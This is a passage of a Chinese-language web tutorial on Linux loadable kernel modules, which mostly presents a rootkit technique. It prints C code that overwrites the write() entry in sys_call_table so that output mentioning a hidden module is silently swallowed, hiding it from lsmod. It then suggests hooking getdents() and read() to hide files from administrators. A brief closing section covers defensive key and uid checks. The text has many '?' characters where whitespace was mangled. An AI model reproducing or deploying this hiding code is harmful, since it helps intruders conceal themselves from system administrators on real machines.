void* kmalloc(size_t, int);
extern char* strstr(const char *,const char *);
extern __kernel_size_t strlen(const char *);
extern long strncpy_from_user(char *,const char *,long );
?
?
int (*origin_write)(unsigned int,char*,unsigned int);
???????????????????????? /*用于保存旧系统调用*/
int hacked_write(unsigned int fd,char* buf,unsigned int count)
{
? char *kernel_buf;
? char hide_buf[]="hack_mkdir";/*我们想隐藏的信息*/
? kernel_buf= (char*) kmalloc (1024, GFP_KERNEL);
/*获取内核空闲页,Get Free Page*/
? strncpy_from_user (kernel_buf, buf, 1023); /*跨空间传输*/
? if(strstr(kernel_buf,(char *)&hide_buf)!=NULL){
??? kfree (kernel_buf);
??? return strlen(hide_buf);
/*告诉内核已经写了strlen(hide_buf)个字符*/
? }
? else{???????????? /*不是需要隐藏的信息*/
??? kfree (kernel_buf);
??? return origin_write(fd,buf,count); /*返回正常调用结果*/
? }
}
?
int init_module()
{
? origin_write=sys_call_table [__NR_write];
? sys_call_table [__NR_write] =hacked_write;
? return 0;
}
?
void cleanup_module()
{
? sys_call_table [__NR_write] =origin_write;
}
?
或许有人会问,模块中为什么要进行跨空间传输呢?这里,有两个很重要的概念就是“内核空间地址”和“用户空间地址”。内核空间地址和用户空间地址之间很大的一个差异就是,用户空间的内存是可被换出的。当内核访问用户空间指针时,相对应的页面可能已经不在内存中了,这样的话就会产生一个页面失效。在Linux中,跨空间的拷贝是由一些特定的函数完成的,它们在中定义。函数strncpy_from_user( )的作用并不限于在内核空间和用户空间之间拷贝数据,它还会检查用户空间的指针是否有效。
值得注意的是,访问用户空间的任何函数(如hacked_write( ))都必须是可重入的,并且必须能和模块里的其他函数并发执行。可重入代码(reentrant code)是指这样的代码:其中不使用任何全局变量来记录状态信息,因而可以处理交织的调用,而不会造成混淆。如果所有状态信息都是进程特定的,就不会发生冲突。在单处理器的Linux系统中,运行内核代码的进程是非抢占式的,Linux只能做用户抢先(原因很简单,因为Linus不信任内核抢先)。
上面的代码可以正常工作。将Makefile中的all:hack_mkdir.o改为all:hack_write.o便得到我们需要的Makefile。将hack_mkdir.o插入内核后,再将该模块插入内核,运行/sbin/lsmod,你会发现没有类似“hack_mkdir??????? 8192? 0(unused)”的字段,只不过多了一段有关hack_write的信息。很简单,只要将上面两个模块合二为一,我们便能隐藏我们的模块信息了。不过,系统管理员还是可以通过ls看到你的源文件、目标模块,当然我们也可以隐藏整个文件夹,拦截什么调用?getdents( )。但是,系统管理员仍然可以通过cat /xxdir/xxfilename直接输出文件内容,怎么办?拦截read( )。打不开文件,哪里还谈得上输出其内容呢?
LKM可以做很多很多事情,只要你有足够的想象力。
然而LKM并不意味着系统管理员的末日。系统管理员也可以利用LKM更轻松地管理、监视系统。
1)??? 在insmod时检查特定的命令行标志信息。这个信息可以用于标识用户的合法性。如在模块中加入: ?? char key[32]=””;
MODULE_PARM (key,”s”);???????? /*声明key为字符串型*/
int init_module()
{
? if(!strcmp(key,”root_key”)){
… …;????????????????????? /*合法时运行的代码*/
}else{
printk(KERN_ALERT “Alert message.\n”);/*报警*/
return -1;
}
return 0;
}
2)??????? 插入模块时,检查用户的gid、uid等。
上一页 [1] [2] [3] [4] 下一页 [C语言系列]C# 和 Linux 时间戳转换 [Web开发]PHP flock文件锁介绍 [Web开发]flock() Linux下的文件锁 [电脑应用]Linux下的六个免费的虚拟主机管理系统介绍 [电脑应用]Linux数据库大比拚 [操作系统]在Windows中玩转Linux操作系统 [办公软件]在RedHat Linux 9里安装gaim0.80 [办公软件]掌握 Linux 调试技术 [办公软件]理解 Linux 配置文件 [聊天工具]Real10 & Xpdf installation on Linux Box
|